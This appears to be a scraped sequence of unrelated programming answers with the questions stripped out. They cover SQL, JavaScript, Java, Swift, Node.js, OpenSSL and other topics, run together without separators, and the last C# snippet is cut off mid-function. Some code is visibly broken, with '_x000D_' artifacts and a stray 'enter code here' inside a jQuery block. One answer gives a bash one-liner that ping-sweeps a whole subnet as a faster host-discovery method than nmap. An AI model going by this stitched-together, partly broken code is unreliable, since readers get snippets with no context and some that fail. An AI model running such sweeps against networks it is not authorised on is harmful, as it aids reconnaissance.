This error happened to me in a Grails Application with the JTDS Driver 1.3.0 (SQL Server). The problem was an incorrect login in SQL Server. After solve this issue (in SQL Server) my app was correctly deployed in Tomcat. Tip: I saw the error in stacktrace.log
Not very clean but it works :)
Dim arr As Integer() = {1, 2, 3}
Dim newItem As Integer = 4
arr = arr.Concat({newItem}).ToArray
Try:
SELECT EXTRACT(EPOCH FROM (timestamp_B - timestamp_A))
FROM TableA
Details here: EXTRACT.
Another alternative is KMP (Knuth–Morris–Pratt).
The KMP algorithm searches for a length-m substring in a length-n string in worst-case O(n+m) time, compared to a worst-case of O(n·m) for the naive algorithm, so using KMP may be reasonable if you care about worst-case time complexity.
Here's a JavaScript implementation by Project Nayuki, taken from https://www.nayuki.io/res/knuth-morris-pratt-string-matching/kmp-string-matcher.js:
// Searches for the given pattern string in the given text string using the Knuth-Morris-Pratt string matching algorithm.
// If the pattern is found, this returns the index of the start of the earliest match in 'text'. Otherwise -1 is returned.
function kmpSearch(pattern, text) {_x000D_
if (pattern.length == 0)_x000D_
return 0; // Immediate match_x000D_
_x000D_
// Compute longest suffix-prefix table_x000D_
var lsp = [0]; // Base case_x000D_
for (var i = 1; i < pattern.length; i++) {_x000D_
var j = lsp[i - 1]; // Start by assuming we're extending the previous LSP_x000D_
while (j > 0 && pattern.charAt(i) != pattern.charAt(j))_x000D_
j = lsp[j - 1];_x000D_
if (pattern.charAt(i) == pattern.charAt(j))_x000D_
j++;_x000D_
lsp.push(j);_x000D_
}_x000D_
_x000D_
// Walk through text string_x000D_
var j = 0; // Number of chars matched in pattern_x000D_
for (var i = 0; i < text.length; i++) {_x000D_
while (j > 0 && text.charAt(i) != pattern.charAt(j))_x000D_
j = lsp[j - 1]; // Fall back in the pattern_x000D_
if (text.charAt(i) == pattern.charAt(j)) {_x000D_
j++; // Next char matched, increment position_x000D_
if (j == pattern.length)_x000D_
return i - (j - 1);_x000D_
}_x000D_
}_x000D_
return -1; // Not found_x000D_
}_x000D_
_x000D_
console.log(kmpSearch('ays', 'haystack') != -1) // true_x000D_
console.log(kmpSearch('asdf', 'haystack') != -1) // false
_x000D_
I'm not sure whether it is a new feature in later versions of matplotlib, but at least for 1.3.1, this is simply:
plt.title(figure_title, y=1.08)
This also works for plt.suptitle()
, but not (yet) for plt.xlabel()
, etc.
I encounter the same problem, and @Joe Kington and @bvanlew's answer solve my problem.
but I should add more infomation when you use pycharm and enable auto import
.
when you format the code, the code from mpl_toolkits.mplot3d import Axes3D
will auto remove by pycharm.
so, my solution is
from mpl_toolkits.mplot3d import Axes3D
Axes3D = Axes3D # pycharm auto import
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
and it works well!
May be your jdk is in /usr/lib/jvm/. This variant for linux.
// offsetWidth includes width of scroll bar and clientWidth doesn't. As rule, it equals 14-18px. so:
var scrollBarWidth = element.offsetWidth - element.clientWidth;
Instead of RenderViewToString
I prefer a approach like
return Json(new { Url = Url.Action("Evil", model) });
then you can catch the result in your javascript and do something like
success: function(data) {
$.post(data.Url, function(partial) {
$('#IdOfDivToUpdate').html(partial);
});
}
//this toggles the checkbox, and fires its event if it has
$('input[type=checkbox]').trigger('click');
//or
$('input[type=checkbox]').click();
The solution is the /Y
switch:
xcopy "C:\Users\ADMIN\Desktop\*.*" "D:\Backup\" /K /D /H /Y
These are known errors from libGL and libstdc++
You can quick fix this by change to use Software
for Emulated Performance Graphics
option, in the AVD settings.
Or try to use the libstdc++.so.6
(which is available in your system) instead of the one bundled inside Android SDK. There are 2 ways to replace it:
The emulator has a switch -use-system-libs
. You can found it here: ~/Android/Sdk/tools/emulator -avd Nexus_5_API_23 -use-system-libs
.
This option force Linux emulator to load the system libstdc++
(but not Qt libraries),
in cases where the bundled ones (from Android SDK) prevent it from loading or
working correctly. See this commit
Alternatively you can set the ANDROID_EMULATOR_USE_SYSTEM_LIBS
environment variable to 1
for your user/system
.
This has the benefit of making sure that the emulator will work even if you launched it from within Android Studio.
See: libGL error and libstdc++: Cannot launch AVD in emulator - Issue Tracker
I just found my own solution to this problem, or at least my problem.
I was using justify-content: space-around
instead of justify-content: space-between;
.
This way the end elements will stick to the top and bottom, and you could have custom margins if you wanted.
TO insert the plugin and check the ie is perfectly workedjquery.placeholder.js
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
<script src="jquery.placeholder.js"></script>
<script>
// To test the @id toggling on password inputs in browsers that don’t support changing an input’s @type dynamically (e.g. Firefox 3.6 or IE), uncomment this:
// $.fn.hide = function() { return this; }
// Then uncomment the last rule in the <style> element (in the <head>).
$(function() {
// Invoke the plugin
$('input, textarea').placeholder({customClass:'my-placeholder'});
// That’s it, really.
// Now display a message if the browser supports placeholder natively
var html;
if ($.fn.placeholder.input && $.fn.placeholder.textarea) {
html = '<strong>Your current browser natively supports <code>placeholder</code> for <code>input</code> and <code>textarea</code> elements.</strong> The plugin won’t run in this case, since it’s not needed. If you want to test the plugin, use an older browser ;)';
} else if ($.fn.placeholder.input) {
html = '<strong>Your current browser natively supports <code>placeholder</code> for <code>input</code> elements, but not for <code>textarea</code> elements.</strong> The plugin will only do its thang on the <code>textarea</code>s.';
}
if (html) {
$('<p class="note">' + html + '</p>').insertAfter('form');
}
});
</script>
function isEmpty(val) {
if(val.length ==0 || val.length ==null){
return 'emptyForm';
}else{
return 'not emptyForm';
}
}
$(document).ready(function(){enter code here
$( "form" ).submit(function( event ) {
$('input').each(function(){
var getInputVal = $(this).val();
if(isEmpty(getInputVal) =='emptyForm'){
alert(isEmpty(getInputVal));
}else{
alert(isEmpty(getInputVal));
}
});
event.preventDefault();
});
});
pgAdmin 4 is a powerful and popular web-based database management tool for PostgreSQL - http://www.pgadmin.org/
You can use Task
to specify what you want to do then attach that Task
with a Thread
. so that Task
would be executed in that newly made Thread
rather than on the GUI thread.
Use Task
with the TaskFactory.StartNew(Action action)
. In here you execute a delegate so if you didn't use any thread it would be executed in the same thread (GUI thread). If you mention a thread you can execute this Task
in a different thread. This is an unnecessary work cause you can directly execute the delegate or attach that delegate to a thread and execute that delegate in that thread. So don't use it. it's just unnecessary. If you intend to optimize your software this is a good candidate to be removed.
**Please note that the Action
is a delegate
.
I had implemented this problem in sml ( imperative programming) . Here is the outline . Find all the nodes that either have an indegree or outdegree of 0 . Such nodes cannot be part of a cycle ( so remove them ) . Next remove all the incoming or outgoing edges from such nodes. Recursively apply this process to the resulting graph. If at the end you are not left with any node or edge , the graph does not have any cycles , else it has.
the main problem occur when you don't have date --date option available and you don't have permission to install it, then try below -
Previous month
#cal -3|awk 'NR==1{print toupper(substr($1,1,3))"-"$2}'
DEC-2016
Current month
#cal -3|awk 'NR==1{print toupper(substr($3,1,3))"-"$4}'
JAN-2017
Next month
#cal -3|awk 'NR==1{print toupper(substr($5,1,3))"-"$6}'
FEB-2017
Adding dependencies didn't fix the issue at my end.
The issue was happening at my end because of "additional" fields that are part of the "@Entity" class and don't exist in the database.
I removed the additional fields from the @Entity class and it worked.
Goodluck.
When SET NOCOUNT is ON, the count (indicating the number of rows affected by a Transact-SQL statement) is not returned. When SET NOCOUNT is OFF, the count is returned. It is used with any SELECT, INSERT, UPDATE, DELETE statement.
The setting of SET NOCOUNT is set at execute or run time and not at parse time.
SET NOCOUNT ON improves stored procedure (SP) performance.
Syntax: SET NOCOUNT { ON | OFF }
Example of SET NOCOUNT ON:
Example of SET NOCOUNT OFF:
I was looking for a way to parse object arrays in a more generic way; here is my contribution:
CollectionDeserializer.java
:
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import com.google.gson.Gson;
import com.google.gson.JsonArray;
import com.google.gson.JsonDeserializationContext;
import com.google.gson.JsonDeserializer;
import com.google.gson.JsonElement;
import com.google.gson.JsonParseException;
public class CollectionDeserializer implements JsonDeserializer<Collection<?>> {
@Override
public Collection<?> deserialize(JsonElement json, Type typeOfT,
JsonDeserializationContext context) throws JsonParseException {
Type realType = ((ParameterizedType)typeOfT).getActualTypeArguments()[0];
return parseAsArrayList(json, realType);
}
/**
* @param serializedData
* @param type
* @return
*/
@SuppressWarnings("unchecked")
public <T> ArrayList<T> parseAsArrayList(JsonElement json, T type) {
ArrayList<T> newArray = new ArrayList<T>();
Gson gson = new Gson();
JsonArray array= json.getAsJsonArray();
Iterator<JsonElement> iterator = array.iterator();
while(iterator.hasNext()){
JsonElement json2 = (JsonElement)iterator.next();
T object = (T) gson.fromJson(json2, (Class<?>)type);
newArray.add(object);
}
return newArray;
}
}
JSONParsingTest.java
:
public class JSONParsingTest {
List<World> worlds;
@Test
public void grantThatDeserializerWorksAndParseObjectArrays(){
String worldAsString = "{\"worlds\": [" +
"{\"name\":\"name1\",\"id\":1}," +
"{\"name\":\"name2\",\"id\":2}," +
"{\"name\":\"name3\",\"id\":3}" +
"]}";
GsonBuilder builder = new GsonBuilder();
builder.registerTypeAdapter(Collection.class, new CollectionDeserializer());
Gson gson = builder.create();
Object decoded = gson.fromJson((String)worldAsString, JSONParsingTest.class);
assertNotNull(decoded);
assertTrue(JSONParsingTest.class.isInstance(decoded));
JSONParsingTest decodedObject = (JSONParsingTest)decoded;
assertEquals(3, decodedObject.worlds.size());
assertEquals((Long)2L, decodedObject.worlds.get(1).getId());
}
}
World.java
:
public class World {
private String name;
private Long id;
public void setName(String name) {
this.name = name;
}
public String getName() {
return name;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
}
This worked for me with log4j2 and xml parameters:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="debug">
<Properties>
<Property name="log-path">/some_path/logs/</Property>
<Property name="app-id">my_app</Property>
</Properties>
<Appenders>
<RollingFile name="file-log" fileName="${log-path}/${app-id}.log"
filePattern="${log-path}/${app-id}-%d{yyyy-MM-dd}.log">
<PatternLayout>
<pattern>[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n
</pattern>
</PatternLayout>
<Policies>
<TimeBasedTriggeringPolicy interval="1"
modulate="true" />
</Policies>
</RollingFile>
<Console name="console" target="SYSTEM_OUT">
<PatternLayout
pattern="[%-5level] %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %c{1} - %msg%n" />
</Console>
</Appenders>
<Loggers>
<Logger name="org.springframework.jdbc.core" level="trace" additivity="false">
<appender-ref ref="file-log" />
<appender-ref ref="console" />
</Logger>
<Root level="info" additivity="false">
<appender-ref ref="file-log" />
<appender-ref ref="console" />
</Root>
</Loggers>
</Configuration>
Result console and file log was:
JdbcTemplate - Executing prepared SQL query
JdbcTemplate - Executing prepared SQL statement [select a, b from c where id = ? ]
StatementCreatorUtils - Setting SQL statement parameter value: column index 1, parameter value [my_id], value class [java.lang.String], SQL type unknown
Just copy/past
HTH
There are two ways to approach this problem: numerically and symbolically.
To solve it numerically, you have to first encode it as a "runnable" function - stick a value in, get a value out. For example,
def my_function(x):
return 2*x + 6
It is quite possible to parse a string to automatically create such a function; say you parse 2x + 6
into a list, [6, 2]
(where the list index corresponds to the power of x - so 6*x^0 + 2*x^1). Then:
def makePoly(arr):
def fn(x):
return sum(c*x**p for p,c in enumerate(arr))
return fn
my_func = makePoly([6, 2])
my_func(3) # returns 12
You then need another function which repeatedly plugs an x-value into your function, looks at the difference between the result and what it wants to find, and tweaks its x-value to (hopefully) minimize the difference.
def dx(fn, x, delta=0.001):
return (fn(x+delta) - fn(x))/delta
def solve(fn, value, x=0.5, maxtries=1000, maxerr=0.00001):
for tries in xrange(maxtries):
err = fn(x) - value
if abs(err) < maxerr:
return x
slope = dx(fn, x)
x -= err/slope
raise ValueError('no solution found')
There are lots of potential problems here - finding a good starting x-value, assuming that the function actually has a solution (ie there are no real-valued answers to x^2 + 2 = 0), hitting the limits of computational accuracy, etc. But in this case, the error minimization function is suitable and we get a good result:
solve(my_func, 16) # returns (x =) 5.000000000000496
Note that this solution is not absolutely, exactly correct. If you need it to be perfect, or if you want to try solving families of equations analytically, you have to turn to a more complicated beast: a symbolic solver.
A symbolic solver, like Mathematica or Maple, is an expert system with a lot of built-in rules ("knowledge") about algebra, calculus, etc; it "knows" that the derivative of sin is cos, that the derivative of kx^p is kpx^(p-1), and so on. When you give it an equation, it tries to find a path, a set of rule-applications, from where it is (the equation) to where you want to be (the simplest possible form of the equation, which is hopefully the solution).
Your example equation is quite simple; a symbolic solution might look like:
=> LHS([6, 2]) RHS([16])
# rule: pull all coefficients into LHS
LHS, RHS = [lh-rh for lh,rh in izip_longest(LHS, RHS, 0)], [0]
=> LHS([-10,2]) RHS([0])
# rule: solve first-degree poly
if RHS==[0] and len(LHS)==2:
LHS, RHS = [0,1], [-LHS[0]/LHS[1]]
=> LHS([0,1]) RHS([5])
and there is your solution: x = 5.
I hope this gives the flavor of the idea; the details of implementation (finding a good, complete set of rules and deciding when each rule should be applied) can easily consume many man-years of effort.
Here a JScript variant of JohnB's answer
// Below the MSDN page for MapNetworkDrive Method with link and in case if Microsoft breaks it like every now and then the path to the documentation of now.
// https://msdn.microsoft.com/en-us/library/8kst88h6(v=vs.84).aspx
// MSDN Library -> Web Development -> Scripting -> JScript and VBScript -> Windows Scripting -> Windows Script Host -> Reference (Windows Script Host) -> Methods (Windows Script Host) -> MapNetworkDrive Method
var WshNetwork = WScript.CreateObject('WScript.Network');
function localNameInUse(localName) {
var driveIterator = WshNetwork.EnumNetworkDrives();
for (var i=0, l=driveIterator.length; i < l; i += 2) {
if (driveIterator.Item(i) == localName) {
return true;
}
}
return false;
}
function mount(localName, remoteName) {
if (localNameInUse(localName)) {
WScript.Echo('"' + localName + '" drive letter already in use.');
} else {
WshNetwork.MapNetworkDrive(localName, remoteName);
}
}
function unmount(localName) {
if (localNameInUse(localName)) {
WshNetwork.RemoveNetworkDrive(localName);
}
}
I use ui-grid - v3.0.0-rc.20
because a scrolling issue is fixed when you go full height of container. Use the ui.grid.autoResize
module will dynamically auto resize the grid to fit your data. To calculate the height of your grid use the function below. The ui-if
is optional to wait until your data is set before rendering.
angular.module('app',['ui.grid','ui.grid.autoResize']).controller('AppController', ['uiGridConstants', function(uiGridConstants) {_x000D_
..._x000D_
_x000D_
$scope.gridData = {_x000D_
rowHeight: 30, // set row height, this is default size_x000D_
..._x000D_
};_x000D_
_x000D_
..._x000D_
_x000D_
$scope.getTableHeight = function() {_x000D_
var rowHeight = 30; // your row height_x000D_
var headerHeight = 30; // your header height_x000D_
return {_x000D_
height: ($scope.gridData.data.length * rowHeight + headerHeight) + "px"_x000D_
};_x000D_
};_x000D_
_x000D_
...
_x000D_
<div ui-if="gridData.data.length>0" id="grid1" ui-grid="gridData" class="grid" ui-grid-auto-resize ng-style="getTableHeight()"></div>
_x000D_
Transactions are intended to run completely or not at all. The only way to complete a transaction is to commit, any other way will result in a rollback.
Therefore, if you begin and then not commit, it will be rolled back on connection close (as the transaction was broken off without marking as complete).
Buffer
s are Uint8Array
s, so you just need to slice (copy) its region of the backing ArrayBuffer
.
// Original Buffer
let b = Buffer.alloc(512);
// Slice (copy) its segment of the underlying ArrayBuffer
let ab = b.buffer.slice(b.byteOffset, b.byteOffset + b.byteLength);
The slice
and offset stuff is required because small Buffer
s (less than 4 kB by default, half the pool size) can be views on a shared ArrayBuffer
. Without slicing, you can end up with an ArrayBuffer
containing data from another Buffer
. See explanation in the docs.
If you ultimately need a TypedArray
, you can create one without copying the data:
// Create a new view of the ArrayBuffer without copying
let ui32 = new Uint32Array(b.buffer, b.byteOffset, b.byteLength / Uint32Array.BYTES_PER_ELEMENT);
Use Martin Thomson's answer, which runs in O(n) time. (See also my replies to comments on his answer about non-optimizations. Using a DataView is slow. Even if you need to flip bytes, there are faster ways to do so.)
You can use https://www.npmjs.com/package/memcpy to go in either direction (Buffer to ArrayBuffer and back). It's faster than the other answers posted here and is a well-written library. Node 0.12 through iojs 3.x require ngossen's fork (see this).
According to documentation you can use the reverse
argument.
filter:orderBy(array, expression[, reverse]);
Change your filter to:
orderBy: 'created_at':true
Decode and save image as PNG
header('content-type: image/png');
ob_start();
$ret = fopen($fullurl, 'r', true, $context);
$contents = stream_get_contents($ret);
$base64 = 'data:image/PNG;base64,' . base64_encode($contents);
echo "<img src=$base64 />" ;
ob_end_flush();
may need to change the SCHEMA not only table
ALTER SCHEMA `<database name>` DEFAULT CHARACTER SET utf8mb4 DEFAULT COLLATE utf8mb4_unicode_ci (as Rich said - utf8mb4);
(mariaDB 10)
Well, I believe it's an "Old but Gold" question. The answer is: "It depends!". The performances are such a delicate subject that it would be too much silly to say: "Never use subqueries, always join". In the following links, you'll find some basic best practices that I have found to be very helpful:
I have a table with 50000 elements, the result i was looking for was 739 elements.
My query at first was this:
SELECT p.id,
p.fixedId,
p.azienda_id,
p.categoria_id,
p.linea,
p.tipo,
p.nome
FROM prodotto p
WHERE p.azienda_id = 2699 AND p.anno = (
SELECT MAX(p2.anno)
FROM prodotto p2
WHERE p2.fixedId = p.fixedId
)
and it took 7.9s to execute.
My query at last is this:
SELECT p.id,
p.fixedId,
p.azienda_id,
p.categoria_id,
p.linea,
p.tipo,
p.nome
FROM prodotto p
WHERE p.azienda_id = 2699 AND (p.fixedId, p.anno) IN
(
SELECT p2.fixedId, MAX(p2.anno)
FROM prodotto p2
WHERE p.azienda_id = p2.azienda_id
GROUP BY p2.fixedId
)
and it took 0.0256s
Good SQL, good.
I would use bash's [[
:
if [[ ! ("$#" == 1 && $1 =~ ^[0-9]+$ && -d $1) ]]; then
echo 'Please pass a number that corresponds to a directory'
exit 1
fi
I found this faq to be a good source of information.
sometimes you need to check your code (the part of redirect)
$helper = new FacebookRedirectLoginHelper('https://apps.facebook.com/xxx');
$auth_url = $helper->getLoginUrl(array('email', 'publish_actions'));
echo "<script>window.top.location.href='".$auth_url."'</script>";
if any changes happens there (for example, the name of your application "https://apps.facebook.com/xxx" in relation the application settings in facebook, you will get the above error
This happened to us after forcing "Two Factor Authentication" before login from Gitlab. We had to paste the text inside id_rsa.pub to Gitlab, and then reintroduce the repository in VS code using the terminal.
If you want help debugging a problem like this you need to provide the make rule or at least the tar command you invoked. How can we see what's wrong with the command if there's no command to see?
However, 99% of the time an error like this means that you're creating the tar file inside a directory that you're trying to put into the tar file. So, when tar tries to read the directory it finds the tar file as a member of the directory, starts to read it and write it out to the tar file, and so between the time it starts to read the tar file and when it finishes reading the tar file, the tar file has changed.
So for example something like:
tar cf ./foo.tar .
There's no way to "stop" this, because it's not wrong. Just put your tar file somewhere else when you create it, or find another way (using --exclude
or whatever) to omit the tar file.
You can use these extensions:
Swift 2.3
extension String
{
func substringFromIndex(index: Int) -> String
{
if (index < 0 || index > self.characters.count)
{
print("index \(index) out of bounds")
return ""
}
return self.substringFromIndex(self.startIndex.advancedBy(index))
}
func substringToIndex(index: Int) -> String
{
if (index < 0 || index > self.characters.count)
{
print("index \(index) out of bounds")
return ""
}
return self.substringToIndex(self.startIndex.advancedBy(index))
}
func substringWithRange(start: Int, end: Int) -> String
{
if (start < 0 || start > self.characters.count)
{
print("start index \(start) out of bounds")
return ""
}
else if end < 0 || end > self.characters.count
{
print("end index \(end) out of bounds")
return ""
}
let range = Range(start: self.startIndex.advancedBy(start), end: self.startIndex.advancedBy(end))
return self.substringWithRange(range)
}
func substringWithRange(start: Int, location: Int) -> String
{
if (start < 0 || start > self.characters.count)
{
print("start index \(start) out of bounds")
return ""
}
else if location < 0 || start + location > self.characters.count
{
print("end index \(start + location) out of bounds")
return ""
}
let range = Range(start: self.startIndex.advancedBy(start), end: self.startIndex.advancedBy(start + location))
return self.substringWithRange(range)
}
}
Swift 3
extension String
{
func substring(from index: Int) -> String
{
if (index < 0 || index > self.characters.count)
{
print("index \(index) out of bounds")
return ""
}
return self.substring(from: self.characters.index(self.startIndex, offsetBy: index))
}
func substring(to index: Int) -> String
{
if (index < 0 || index > self.characters.count)
{
print("index \(index) out of bounds")
return ""
}
return self.substring(to: self.characters.index(self.startIndex, offsetBy: index))
}
func substring(start: Int, end: Int) -> String
{
if (start < 0 || start > self.characters.count)
{
print("start index \(start) out of bounds")
return ""
}
else if end < 0 || end > self.characters.count
{
print("end index \(end) out of bounds")
return ""
}
let startIndex = self.characters.index(self.startIndex, offsetBy: start)
let endIndex = self.characters.index(self.startIndex, offsetBy: end)
let range = startIndex..<endIndex
return self.substring(with: range)
}
func substring(start: Int, location: Int) -> String
{
if (start < 0 || start > self.characters.count)
{
print("start index \(start) out of bounds")
return ""
}
else if location < 0 || start + location > self.characters.count
{
print("end index \(start + location) out of bounds")
return ""
}
let startIndex = self.characters.index(self.startIndex, offsetBy: start)
let endIndex = self.characters.index(self.startIndex, offsetBy: start + location)
let range = startIndex..<endIndex
return self.substring(with: range)
}
}
Usage:
let string = "www.stackoverflow.com"
let substring = string.substringToIndex(string.characters.count-4)
Try this way:
<div class="container">
<div class="col-md-4" style="padding-left: 0px; padding-right: 0px;">
<img src="images/food1.jpg" class="img-responsive">
</div>
</div>
UPDATE:
In Bootstrap 4 img-responsive
becomes img-fluid
, so the solution using Bootstrap 4 is:
<div class="container">
<div class="col-md-4 px-0">
<img src="images/food1.jpg" class="img-fluid">
</div>
</div>
No need for jQuery nor regex assuming the character you want to replace exists in the string
Replace last char in a string
str = str.substring(0,str.length-2)+otherchar
Replace last underscore in a string
var pos = str.lastIndexOf('_');
str = str.substring(0,pos) + otherchar + str.substring(pos+1)
or use one of the regular expressions from the other answers
var str1 = "Replace the full stop with a questionmark."_x000D_
var str2 = "Replace last _ with another char other than the underscore _ near the end"_x000D_
_x000D_
// Replace last char in a string_x000D_
_x000D_
console.log(_x000D_
str1.substring(0,str1.length-2)+"?"_x000D_
) _x000D_
// alternative syntax_x000D_
console.log(_x000D_
str1.slice(0,-1)+"?"_x000D_
)_x000D_
_x000D_
// Replace last underscore in a string _x000D_
_x000D_
var pos = str2.lastIndexOf('_'), otherchar = "|";_x000D_
console.log(_x000D_
str2.substring(0,pos) + otherchar + str2.substring(pos+1)_x000D_
)_x000D_
// alternative syntax_x000D_
_x000D_
console.log(_x000D_
str2.slice(0,pos) + otherchar + str2.slice(pos+1)_x000D_
)
_x000D_
You can import the lib org.apache.commons.lang.ArrayUtils
There is a static method where you can pass in an int array and a value to check for.
contains(int[] array, int valueToFind) Checks if the value is in the given array.
ArrayUtils.contains(intArray, valueToFind);
try this one, user json to serialize and deserialize:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Script.Serialization;
namespace ConsoleApplication1
{
public class Program
{
static void Main(string[] args)
{
object newobj = new object();
for (int i = 0; i < 10; i++)
{
List<int> temp = new List<int>();
temp.Add(i);
temp.Add(i + 1);
newobj = newobj.AddNewField("item_" + i.ToString(), temp.ToArray());
}
}
}
public static class DynamicExtention
{
public static object AddNewField(this object obj, string key, object value)
{
JavaScriptSerializer js = new JavaScriptSerializer();
string data = js.Serialize(obj);
string newPrametr = "\"" + key + "\":" + js.Serialize(value);
if (data.Length == 2)
{
data = data.Insert(1, newPrametr);
}
else
{
data = data.Insert(data.Length-1, ","+newPrametr);
}
return js.DeserializeObject(data);
}
}
}
Use the following Code:-
../css/main.css
Note: The "../" is shorthand for "The containing directory", or "Up one directory".
If you don't know the previous folder this will be very helpful..
according to above ideas, I created a shell script that to make a proxy environment for composer.
#!/bin/bash
export HTTP_PROXY=http://127.0.0.1:8888/
export HTTPS_PROXY=http://127.0.0.1:8888/
zsh # you can alse use bash or other shell
This piece of code is in a file named ~/bin/proxy_mode_shell
and it will create a new zsh
shell instance when you need proxy. After update finished, you can simply press key Ctrl+D
to quit the proxy mode.
add export PATH=~/bin:$PATH
to ~/.bashrc
or ~/.zshrc
if you cannot run proxy_mode_shell
directly.
We experienced the SecurityError: The operation is insecure when a user disabled their cookies prior to visiting our site, any subsequent XHR requests trying to use the session would obviously fail and cause this error.
I used this to change the background for my button
button.setBackground(getResources().getDrawable(R.drawable.primary_button));
"button" is the variable holding my Button, and the image am setting in the background is primary_button
With this you will get size in GB
hdfs dfs -du PATHTODIRECTORY | awk '/^[0-9]+/ { print int($1/(1024**3)) " [GB]\t" $2 }'
I think you have an issue with your server certificate, is not a valid certificate (I think this is what "handshake_failure" means in this case):
Import your server certificate into your trustcacerts keystore on client's JRE. This is easily done with keytool:
keytool
-import
-alias <provide_an_alias>
-file <certificate_file>
-keystore <your_path_to_jre>/lib/security/cacerts
It could just be because ACID is one set of properties that substances show( in Chemistry) and BASE is a complement set of them.So it could be just to show the contrast between the two that the acronym was made up and then 'Basically Available Soft State Eventual Consistency' was decided as it's full-form.
In MySQL integer int(11)
has size is 4 bytes which equals 32 bit.
Signed value is : -2^(32-1) to 0 to 2^(32-1)-1
= -2147483648 to 0 to 2147483647
Unsigned values is : 0 to 2^32-1
= 0 to 4294967295
If you did not define the port number and you want to know on which port it is running.
let http = require('http');
let _http = http.createServer((req, res) => {
res.writeHead(200);
res.end('Hello..!')
}).listen();
console.log(_http.address().port);
FYI, every time it will run in a different port.
Take a look QRCoder - pure C# open source QR code generator. Can be used in three lines of code
QRCodeGenerator qrGenerator = new QRCodeGenerator();
QRCodeGenerator.QRCode qrCode = qrGenerator.CreateQrCode(textBoxQRCode.Text, QRCodeGenerator.ECCLevel.Q);
pictureBoxQRCode.BackgroundImage = qrCode.GetGraphic(20);
The following (evil) code runs more than TWICE as fast as the nmap method
for i in {1..254} ;do (ping 192.168.1.$i -c 1 -w 5 >/dev/null && echo "192.168.1.$i" &) ;done
takes around 10 seconds, where the standard nmap
nmap -sP 192.168.1.1-254
takes 25 seconds...
Express has a helper for this to make life easier.
app.get('/download', function(req, res){
const file = `${__dirname}/upload-folder/dramaticpenguin.MOV`;
res.download(file); // Set disposition and send it.
});
As far as your browser is concerned, the file's name is just 'download', so you need to give it more info by using another HTTP header.
res.setHeader('Content-disposition', 'attachment; filename=dramaticpenguin.MOV');
You may also want to send a mime-type such as this:
res.setHeader('Content-type', 'video/quicktime');
If you want something more in-depth, here ya go.
var path = require('path');
var mime = require('mime');
var fs = require('fs');
app.get('/download', function(req, res){
var file = __dirname + '/upload-folder/dramaticpenguin.MOV';
var filename = path.basename(file);
var mimetype = mime.lookup(file);
res.setHeader('Content-disposition', 'attachment; filename=' + filename);
res.setHeader('Content-type', mimetype);
var filestream = fs.createReadStream(file);
filestream.pipe(res);
});
You can set the header value to whatever you like. In this case, I am using a mime-type library - node-mime, to check what the mime-type of the file is.
Another important thing to note here is that I have changed your code to use a readStream. This is a much better way to do things because using any method with 'Sync' in the name is frowned upon because node is meant to be asynchronous.
Although @Pascal answer is perfectly valid, from my experience I find the code below helpful to accomplish optimistic locking:
@Entity
public class MyEntity implements Serializable {
// ...
@Version
@Column(name = "optlock", columnDefinition = "integer DEFAULT 0", nullable = false)
private long version = 0L;
// ...
}
Why? Because:
@Version
is accidentally set to null
.optlock
rather than version
.First point doesn't matter if application uses only JPA for inserting data into the database, as JPA vendor will enforce 0
for @version
field at creation time. But almost always plain SQL statements are also in use (at least during unit and integration testing).
Check out this link it has a example code to encrypt/decrypt data using AES256CBC using EVP API.
https://github.com/saju/misc/blob/master/misc/openssl_aes.c
Also you can check the use of AES256 CBC in a detailed open source project developed by me at https://github.com/llubu/mpro
The code is detailed enough with comments and if you still need much explanation about the API itself i suggest check out this book Network Security with OpenSSL by Viega/Messier/Chandra (google it you will easily find a pdf of this..) read chapter 6 which is specific to symmetric ciphers using EVP API.. This helped me a lot actually understanding the reasons behind using various functions and structures of EVP.
and if you want to dive deep into the Openssl crypto library, i suggest download the code from the openssl website (the version installed on your machine) and then look in the implementation of EVP and aeh api implementation.
One more suggestion from the code you posted above i see you are using the api from aes.h instead use EVP. Check out the reason for doing this here OpenSSL using EVP vs. algorithm API for symmetric crypto nicely explained by Daniel in one of the question asked by me..
You don't need to use find.
@echo off
set /a counter=0
for /f %%a in (filename) do set /a counter+=1
echo Number of lines: %counter%
This iterates all lines in the file and increases the counter variable by 1 for each line.
To complement the Perl one-liner, here's its awk
equivalent:
awk 'NR==FNR{arr[$0];next} $0 in arr' file1 file2
This will read all lines from file1
into the array arr[]
, and then check for each line in file2
if it already exists within the array (i.e. file1
). The lines that are found will be printed in the order in which they appear in file2
.
Note that the comparison in arr
uses the entire line from file2
as index to the array, so it will only report exact matches on entire lines.
Here is my complete code how to open.
there are 2 options:
open using default browser (behavior is like opened inside the browser window)
open through default command options (behavior is like you use "RUN.EXE" command)
open through 'explorer' (behavior is like you wrote url inside your folder window url)
[optional suggestion] 4. use iexplore process location to open the required url
internal static bool TryOpenUrl(string p_url)
{
// try use default browser [registry: HKEY_CURRENT_USER\Software\Classes\http\shell\open\command]
try
{
string keyValue = Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\Software\Classes\http\shell\open\command", "", null) as string;
if (string.IsNullOrEmpty(keyValue) == false)
{
string browserPath = keyValue.Replace("%1", p_url);
System.Diagnostics.Process.Start(browserPath);
return true;
}
}
catch { }
// try open browser as default command
try
{
System.Diagnostics.Process.Start(p_url); //browserPath, argUrl);
return true;
}
catch { }
// try open through 'explorer.exe'
try
{
string browserPath = GetWindowsPath("explorer.exe");
string argUrl = "\"" + p_url + "\"";
System.Diagnostics.Process.Start(browserPath, argUrl);
return true;
}
catch { }
// return false, all failed
return false;
}
internal static string GetWindowsPath(string p_fileName)
{
string path = null;
string sysdir;
for (int i = 0; i < 3; i++)
{
try
{
if (i == 0)
{
path = Environment.GetEnvironmentVariable("SystemRoot");
}
else if (i == 1)
{
path = Environment.GetEnvironmentVariable("windir");
}
else if (i == 2)
{
sysdir = Environment.GetFolderPath(Environment.SpecialFolder.System);
path = System.IO.Directory.GetParent(sysdir).FullName;
}
if (path != null)
{
path = System.IO.Path.Combine(path, p_fileName);
